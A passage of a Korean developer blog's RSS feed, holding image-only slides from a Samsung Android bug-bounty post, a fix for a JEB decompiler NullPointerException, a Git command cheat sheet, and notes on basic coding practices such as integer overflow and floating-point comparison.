&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드18.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bwd4u/btq2MzN7UFY/TJlVcdtZOAlYVz2TRZoRK0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bwd4u/btq2MzN7UFY/TJlVcdtZOAlYVz2TRZoRK0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bwd4u/btq2MzN7UFY/TJlVcdtZOAlYVz2TRZoRK0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBwd4u%2Fbtq2MzN7UFY%2FTJlVcdtZOAlYVz2TRZoRK0%2Fimg.jpg&quot; data-filename=&quot;슬라이드18.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드19.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAsxYt/btq2XiQ5UwI/wxCXg1fMyVM04Jn4roejgk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAsxYt/btq2XiQ5UwI/wxCXg1fMyVM04Jn4roejgk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAsxYt/btq2XiQ5UwI/wxCXg1fMyVM04Jn4roejgk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAsxYt%2Fbtq2XiQ5UwI%2FwxCXg1fMyVM04Jn4roejgk%2Fimg.jpg&quot; data-filename=&quot;슬라이드19.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드20.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sDvMY/btq2P3N1PDy/SkalXHhFeWLyzukHWLHzSk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sDvMY/btq2P3N1PDy/SkalXHhFeWLyzukHWLHzSk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sDvMY/btq2P3N1PDy/SkalXHhFeWLyzukHWLHzSk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsDvMY%2Fbtq2P3N1PDy%2FSkalXHhFeWLyzukHWLHzSk%2Fimg.jpg&quot; data-filename=&quot;슬라이드20.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드21.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/so0ZS/btq2SMLI0dI/AD648PK3yn5bfEqQ8SDAbk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/so0ZS/btq2SMLI0dI/AD648PK3yn5bfEqQ8SDAbk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/so0ZS/btq2SMLI0dI/AD648PK3yn5bfEqQ8SDAbk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fso0ZS%2Fbtq2SMLI0dI%2FAD648PK3yn5bfEqQ8SDAbk%2Fimg.jpg&quot; data-filename=&quot;슬라이드21.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드22.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sGc1k/btq2My2LIoM/lRqqfY4w5F1FRUjpsWpAnK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sGc1k/btq2My2LIoM/lRqqfY4w5F1FRUjpsWpAnK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sGc1k/btq2My2LIoM/lRqqfY4w5F1FRUjpsWpAnK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsGc1k%2Fbtq2My2LIoM%2FlRqqfY4w5F1FRUjpsWpAnK%2Fimg.jpg&quot; data-filename=&quot;슬라이드22.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Android</category>
      <category>bugbounty</category>
      <category>Samsung</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/226</guid>
      <comments>https://netking.tistory.com/226#entry226comment</comments>
      <pubDate>Sat, 15 Aug 2020 18:38:01 +0900</pubDate>
    </item>
    <item>
      <title>JEB java.lang.NullPointerException 오류 해결 방법</title>
      <link>https://netking.tistory.com/215</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnjKKx/btqFNFvOLBz/yAke6qslEiitwMPlTrek9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnjKKx/btqFNFvOLBz/yAke6qslEiitwMPlTrek9K/img.png&quot; data-alt=&quot;java.lang.NullPointerException 오류&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnjKKx/btqFNFvOLBz/yAke6qslEiitwMPlTrek9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnjKKx%2FbtqFNFvOLBz%2FyAke6qslEiitwMPlTrek9K%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;java.lang.NullPointerException 오류&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;상태&lt;/h3&gt;
&lt;p&gt;어플리케이션(APK)이 열리지 않고 &quot;java.lang.NullPointerException&quot; 메시지 출력&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;해결 방법&lt;/h3&gt;
&lt;p&gt;최신 JRE을 설치하여 기존에 설치된 JAVA PATH를 지우고 JRE를 PATH 하시면 됩니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;JRE : &lt;a href=&quot;https://java.com/ko/download/&quot;&gt;https://java.com/ko/download/&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Memo</category>
      <category>java.lang.NullPointerException</category>
      <category>jeb2</category>
      <category>오류</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/215</guid>
      <comments>https://netking.tistory.com/215#entry215comment</comments>
      <pubDate>Sun, 19 Jul 2020 01:17:43 +0900</pubDate>
    </item>
    <item>
      <title>Git 사용법</title>
      <link>https://netking.tistory.com/212</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Git 사용&lt;/h3&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;git config --global user.name &quot;이름&quot;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;git config --global user.email &quot;이메일&quot;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Git 명령어&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 182px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;b&gt;&amp;nbsp;명령&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;b&gt;&amp;nbsp;기능&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 22px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;git clone url [dir]&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 22px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;기존 프로젝트 복재&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;git add files&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;스테이지 영역에 파일 추가&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;git commit&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;스테이지 영역의 파일을 저장소에 추가&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;git status&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;작업 디렉토리와 스테이지 영여의 파일들의 상태를 조회&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;git diff&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;스테이지 영역의 파일과 작업 디렉토리의 파일에 대한 차이를 비교&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;git pull&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;원격 저장소에 파일들을 가져와서 현재 가지(branch)들과 합병(merge)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;git push&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;원격 저장소에 현재 가지(branch)의 파일들을 합병(merge)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;커밋(commit)&lt;/h3&gt;
&lt;p&gt;- 커밋할 파일은 스테이지되어야 하며 이후 파일 변경시 다시 스테이지 작업&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;git add &lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;file&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 스테이지된 파일 취소&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;git reset HEAD &amp;lt;file&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 커밋시에는 모든 스테이지된 파일이 저장소에 기록 (로컬 저장소)&lt;/p&gt;
&lt;p&gt;$ git commit -m &quot;Fixing bug #22&quot;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 이전에 커밋된 상태 되돌리기&lt;/p&gt;
&lt;p&gt;$ git checkout &amp;lt;file&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Status &amp;amp; Diff&lt;/h3&gt;
&lt;p&gt;- 작업 디렉토리와 스테이지 영역의 파일 상태 비교&lt;/p&gt;
&lt;p&gt;$ git status&lt;/p&gt;
&lt;p&gt;$ git status -s (간략한 정보)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 작업 디렉토리와 파일과 스테이지 영역 파일과의 차이 비교&lt;/p&gt;
&lt;p&gt;$ git diff&lt;/p&gt;
&lt;p&gt;$ git diff --cached (로컬 디렉토리 비교)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Log 조회&lt;/h3&gt;
&lt;p&gt;- 로컬 저장소에 저장된 모든 변경사항&lt;/p&gt;
&lt;p&gt;$ git log&lt;/p&gt;
&lt;p&gt;$ git log --oneline (간략한 정보)&lt;/p&gt;
&lt;p&gt;$ git log -5 (최근 5개 변경사항)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;원격 저장소(Remote Repository) 명령어&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 140px;&quot; border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&lt;b&gt;&amp;nbsp;명령&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&lt;b&gt;&amp;nbsp;기능&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;nbsp;git remote -v&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;원격저장소에 대한 정보 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;git fetch &amp;lt;remote&amp;gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;원격지에는 존재하나 로컬에는 존재하지 않는 파일들을 가져옴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;git push &amp;lt;remote&amp;gt; &amp;lt;branch&amp;gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;로컬저장소의 파일들을 원격 저장소에 업로드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;git remote show &amp;lt;remote&amp;gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;원격저장소에 대한 상세한 정보를 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;git remote rename &amp;lt;remote&amp;gt; &amp;lt;new-name&amp;gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;원격저장소에 대한 이름 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;git remote remove &amp;lt;remote&amp;gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px;&quot;&gt;&amp;nbsp;원격저장소에 대한 참조를 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Pull &amp;amp; Push&lt;/h3&gt;
&lt;p&gt;- 원격 저장소로부터 파일들의 최신 버전을 로컬 저장소에 복사&lt;/p&gt;
&lt;p&gt;$ git pull origin master&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 로컬 저장소의 파일들을 원격 저장소에 복사&lt;/p&gt;
&lt;p&gt;$ git push origin master&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- origin : 원격 저장소의 URL&lt;/p&gt;
&lt;p&gt;- master : 리모트 브랜치의 이름&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;태깅(Tagging)&lt;/h3&gt;
&lt;p&gt;- 일반 태그(이름만 붙임)&lt;/p&gt;
&lt;p&gt;$ git tag v1.4&lt;/p&gt;
&lt;p&gt;$ git tag (태그 리스트 조회)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 원격 저장소에 태그 전달&lt;/p&gt;
&lt;p&gt;$ git push origin v1.5&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 주석 태그(이름, 설명, 서명 정보를 포함)&lt;/p&gt;
&lt;p&gt;$ git tag -a -m &quot;my version 1.4&quot;&lt;/p&gt;
&lt;p&gt;$ git tag -a v1.2 9fceb02 (&lt;span style=&quot;color: #333333;&quot;&gt;9fceb02 해시로 시작하는 커밋에 태그 추가&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Git Alias&lt;/h3&gt;
&lt;p&gt;- 자주 사용하는 명령을 다른 이름으로 축약해서 사용&lt;/p&gt;
&lt;p&gt;$ git config --global alias.cm commit &amp;rarr; git cm&lt;/p&gt;
&lt;p&gt;$ git config --global alias.st status &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; git st&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;$ git config --global alias.last &quot;log -1 HEAD&quot; &lt;span style=&quot;color: #333333;&quot;&gt;&amp;rarr; git last&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SVN &amp;amp; Git&lt;/h3&gt;
&lt;p&gt;- SVN&lt;/p&gt;
&lt;p&gt;: 중앙 집중화된 저장소 채택&lt;/p&gt;
&lt;p&gt;: 중앙의 저장소만 파일의 완벽한 이력 정보를 유지&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- Git&lt;/p&gt;
&lt;p&gt;: 분산 저장소 사용&lt;/p&gt;
&lt;p&gt;: 각각의 저장소는 모두 동등한 기능 제공&lt;/p&gt;
&lt;p&gt;: 속도가 빠르고 파일들이 중복해서 존재&lt;/p&gt;
&lt;p&gt;: 브랜치와 병합이 자주 발생&lt;/p&gt;</description>
      <category>Memo</category>
      <category>Git</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/212</guid>
      <comments>https://netking.tistory.com/212#entry212comment</comments>
      <pubDate>Sun, 21 Jun 2020 01:51:56 +0900</pubDate>
    </item>
    <item>
      <title>코드 작성 기초 (Basic Coding)</title>
      <link>https://netking.tistory.com/210</link>
      <description>&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;기본 데이터 형&lt;/h2&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;일반적인 숫자의 사용시 유의할 점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;매직넘버(Magic Number)를 피하라&lt;/li&gt;
&lt;li&gt;0과 1은 그냥 사용&lt;/li&gt;
&lt;li&gt;0으로 나누는 것은 미연에 방지&lt;/li&gt;
&lt;li&gt;형 변환은 명확하게 수행
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;예) y = x + (float) i&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;서로 다른 형을 비교하지 않는다&lt;/li&gt;
&lt;li&gt;컴파일러의 경고에 주의&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;정수(integer)를 사용할 때 주의할 점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정수 나눗셈 검사&lt;/li&gt;
&lt;li&gt;정수 오버플로우 검사&lt;/li&gt;
&lt;li&gt;중간 결과에서 오버플로우 검사&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1591077851462&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int termA = 1000000;
int termB = 1000000;
int product = termA * termB / 1000000;
System.out.println(...+product);&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;부동소수점&amp;nbsp;변수&amp;nbsp;사용시&amp;nbsp;주의할&amp;nbsp;점&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서로 크기가 매우 다른 수를 더하거나 빼지 않는다
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;가장 작은 수부터 더하는 것이 좋다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;동치 비교를 피한다&lt;/li&gt;
&lt;li&gt;라운딩 오류를 예측한다
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;더 큰 정밀도를 사용&lt;/li&gt;
&lt;li&gt;BCD 표기법을 사용한 변수로 변경&lt;/li&gt;
&lt;li&gt;정수형을 사용(화폐 등을 계산할 때)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;특정한 데이터 형을 지원하는 언어 또는 라이브러리가 있는지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;문자와 문자열&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;매직문자와 매직문자열을 사용하지 않는다&lt;/li&gt;
&lt;li&gt;하나 모자름(off-by-one) 오류 주의&lt;/li&gt;
&lt;li&gt;사용하고 있는 언어가 유니코드(Unicode)를 어떻게 지원하는지 파악&lt;/li&gt;
&lt;li&gt;국제화(Internationalization, i18n) / 지역화(&lt;span&gt;Localization, L10n&lt;/span&gt;) 전략을 초기에 결정&lt;/li&gt;
&lt;li&gt;만약 알파벳만을 사용할 것이면 ISO 8859를 사용하는 것이 좋다&lt;/li&gt;
&lt;li&gt;다중 언어를 지우너하려면 유니코드를 사용&lt;/li&gt;
&lt;li&gt;문자열 타입 간에 일관된 변환 전략 사용
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;프로그램이 다중 문자코드를 지원하는 경우, 내부적으로는 유니코드를 쓰고 I/O에만 코드 변환 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;불린(Boolean) 변수&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로그램을 문서화하기 위해 불린 변수를 사용&lt;/li&gt;
&lt;li&gt;필요하면 고유한 불린 타입을 만든다
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
&lt;li&gt;불린 타입이 제공되지 않는 언어(C와 같은) 경우, 0 = False, 1 = True&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1591078027420&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if ( (elementIndex &amp;lt; 0) || (MAX_ELEMENTS &amp;lt; elementIndex) || (elementIndex == lastElementIndex) ) )
{
	&amp;hellip;
}

// &amp;darr;&amp;darr;&amp;darr;&amp;darr;

finished = (elementIndex&amp;lt;0) || (MAX_ELEMENTS &amp;lt; elementIndex) ;
repeatedEntry = elementIndex == lastElementIndex;
if (finished || repeatedEntry) {
	&amp;hellip;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size23&quot;&gt;열거 형의 사용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가동성 향상&lt;/li&gt;
&lt;li&gt;신뢰성
&lt;ul style=&quot;list-style-type: disc;&quot;&gt;
